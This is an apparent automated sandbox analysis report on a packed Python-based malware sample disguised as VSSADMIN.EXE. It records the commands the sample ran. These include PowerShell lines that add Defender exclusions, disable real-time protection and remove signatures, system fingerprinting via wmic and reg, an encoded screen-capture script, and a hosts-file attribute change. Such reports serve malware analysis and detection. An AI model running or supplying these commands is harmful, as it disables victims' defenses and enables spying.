Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE74E21C	59_2_00007FF6EE74E21C
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE772164	59_2_00007FF6EE772164
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE74D2C0	59_2_00007FF6EE74D2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE7342E0	59_2_00007FF6EE7342E0
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE781314	59_2_00007FF6EE781314
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE78832C	59_2_00007FF6EE78832C
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE757244	59_2_00007FF6EE757244
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE73F24C	59_2_00007FF6EE73F24C
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE782268	59_2_00007FF6EE782268
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: 59_2_00007FF6EE7702A4	59_2_00007FF6EE7702A4

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Section loaded: python3.dll

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe

Code function: 59_2_00007FF6EE77B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

59_2_00007FF6EE77B57C

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: String function: 00007FF6EE748444 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe	Code function: String function: 00007FF6EE7749F4 appears 53 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FFD3FBF2A09 appears 144 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FFD3FBF2739 appears 418 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FFD3FBF3012 appears 50 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FFD3FBF405C appears 631 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FFD3FBF698D appears 44 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FFD3FBF4840 appears 111 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FFD3FBF24B9 appears 65 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FFD3FBF1EF1 appears 1222 times
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: String function: 00007FF614C72770 appears 82 times

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe

Code function: 59_2_00007FF6EE753A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

59_2_00007FF6EE753A70

Source: rar.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: VSSADMIN.EXE.exe	Binary or memory string: OriginalFilename vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187886205.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000000.187671270.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVSSADMIN.EXEj% vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.188359144.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187947489.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187925323.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187766996.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.188385630.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187840544.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187859504.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187787611.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187735351.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187811955.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.187904602.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000000.00000003.188454384.0000024133482000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe	Binary or memory string: OriginalFilename vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.245920910.00007FFD43EFB000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246274689.00007FFD526AC000.00000004.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246379014.00007FFD5560C000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.245820603.00007FFD4054B000.00000004.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamepython311.dll. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246110254.00007FFD44164000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246518063.00007FFD592DC000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246157050.00007FFD44A02000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.245994756.00007FFD43FB3000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibsslH vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246601065.00007FFD59307000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000000.188990624.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVSSADMIN.EXEj% vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246206992.00007FFD507F8000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246478224.00007FFD59283000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246337519.00007FFD52E08000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246042976.00007FFD43FED000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.246427952.00007FFD59262000.00000004.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe, 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs VSSADMIN.EXE.exe
Source: VSSADMIN.EXE.exe	Binary or memory string: OriginalFilenameVSSADMIN.EXEj% vs VSSADMIN.EXE.exe

Source: VSSADMIN.EXE.exe

Static PE information: invalid certificate

Source: libcrypto-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9985088531464251
Source: libssl-1_1.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9920135147270115
Source: python311.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9993315999451067
Source: sqlite3.dll.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9977988591269841
Source: unicodedata.pyd.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9943153231216458

Source: VSSADMIN.EXE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@126/90@8/3

Source: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Code function: 0_2_00007FF614C774E0 GetLastError,FormatMessageW,WideCharToMultiByte,

0_2_00007FF614C774E0

Source: VSSADMIN.EXE.exe

ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File read: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Jump to behavior

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\VSSADMIN.EXE.exe C:\Users\user\Desktop\VSSADMIN.EXE.exe
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Users\user\Desktop\VSSADMIN.EXE.exe C:\Users\user\Desktop\VSSADMIN.EXE.exe
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'"
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
